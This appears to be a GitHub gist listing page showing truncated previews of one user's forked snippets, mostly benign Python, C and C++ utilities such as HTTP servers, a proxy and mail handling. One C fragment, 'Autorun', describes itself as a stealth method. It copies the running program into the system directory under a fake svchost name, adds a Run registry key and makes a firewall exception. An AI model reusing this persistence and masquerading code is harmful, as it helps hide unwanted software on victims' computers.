Skip to content

Instantly share code, notes, and snippets.

@kostyll
kostyll / SimpleAuthServer.py
Created October 27, 2016 07:59 — forked from fxsjy/SimpleAuthServer.py
SimpleAuthServer: A SimpleHTTPServer with authentication
import BaseHTTPServer
from SimpleHTTPServer import SimpleHTTPRequestHandler
import sys
import base64
key = ""
class AuthHandler(SimpleHTTPRequestHandler):
''' Main class to present webpages and authentication. '''
def do_HEAD(self):
@kostyll
kostyll / memdump.c
Created September 30, 2016 06:46 — forked from hanshoglund/memdump.c
C memdump
void memdump(void* s, size_t n)
{
for (size_t i = 0; i < n; ++i)
printf("%x ", *((unsigned char*) (s + i)) );
printf("\n");
}
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
# generate server.xml with the following command:
# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# run as follows:
# python simple-https-server.py
# then in your browser, visit:
# https://localhost:4443
import BaseHTTPServer, SimpleHTTPServer
import ssl
@kostyll
kostyll / jabtest.py
Created September 9, 2016 16:52 — forked from deckerego/jabtest.py
An example of using Jabber/XMPP communication with Python
import sleekxmpp
class Jabber(sleekxmpp.ClientXMPP):
def __init__(self, username, password, instance_name=None):
jid = "%s/%s" % (username, instance_name) if instance_name else username
super(Jabber, self).__init__(jid, password)
self.instance_name = instance_name
self.add_event_handler('session_start', self.start, threaded=False, disposable=True)
self.add_event_handler('message', self.receive, threaded=True, disposable=False)
@kostyll
kostyll / MyMailMessage.cpp
Created June 1, 2016 13:27 — forked from jsolid/MyMailMessage.cpp
POCO library: Calling from .cpp
/**
* @name EmailInbound (Mail Message Handler for POCO)
* @description Receive and sort emails
*/
#include "MyMailMessage.h"
/**
* POCO::Net::MailMessage
*/
bool Autorun(char *Path) // complex stealth method: moving to %system32%, autorun, making firewall exception and destruction of first instance
{
HKEY key;
char runkey[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
char valuename[] = "svchost";
char filename[61];
char Win_Dir[33];
GetSystemDirectory(Win_Dir, sizeof Win_Dir);
sprintf(filename,"%s\\sv�host.exe", Win_Dir);
if (strcmp(filename, Path) == 0)
#include <windows.h>
#if define UNICODE
#define RegOpenKeyEx RegOpenKeyExW
#define RegCreateKeyEx RegCreateKeyExW
#define RegDeleteKey RegDeleteKeyW
#else
#define RegOpenKeyEx RegOpenKeyExA
#define RegCreateKeyEx RegCreateKeyExA
#define RegDeleteKey RegDeleteKeyA
Log output
The area below shows the logging calls in your code. These correspond to a single row within the CloudWatch log group corresponding to this Lambda function. Click here to view the CloudWatch log group.
START RequestId: 2644abca-b08d-11e5-a8cb-e1cccca020f0 Version: $LATEST
Unable to import module 'lambda_function': No module named lambda_function
END RequestId: 2644abca-b08d-11e5-a8cb-e1cccca020f0
REPORT RequestId: 2644abca-b08d-11e5-a8cb-e1cccca020f0 Duration: 72.41 ms Billed Duration: 100 ms Memory Size: 128 MB Max Memory Used: 8 MB
@kostyll
kostyll / gist:8efcede1375e7021044ba209f32a0b00
Created April 26, 2016 14:09 — forked from claudijd/gist:6ce45deabb154ceb7efa
Good one-liner for OpenSSL s_server testing
openssl req -nodes -x509 -newkey rsa:2048 -keyout server.pem -out server.pem -days 1 && openssl s_server -tls1 -www -accept 1337
@kostyll
kostyll / proxy.py
Created November 17, 2015 08:17 — forked from bxt/proxy.py
A very basic caching python HTTP proxy server.
# Originally from http://sharebear.co.uk/blog/2009/09/17/very-simple-python-caching-proxy/
#
# Usage:
# A call to http://localhost:80000/example.com/foo.html will cache the file
# at http://example.com/foo.html on disc and not redownload it again.
# To clear the cache simply do a `rm *.cached`. To stop the server simply
# send SIGINT (Ctrl-C). It does not handle any headers or post data.
import BaseHTTPServer
import hashlib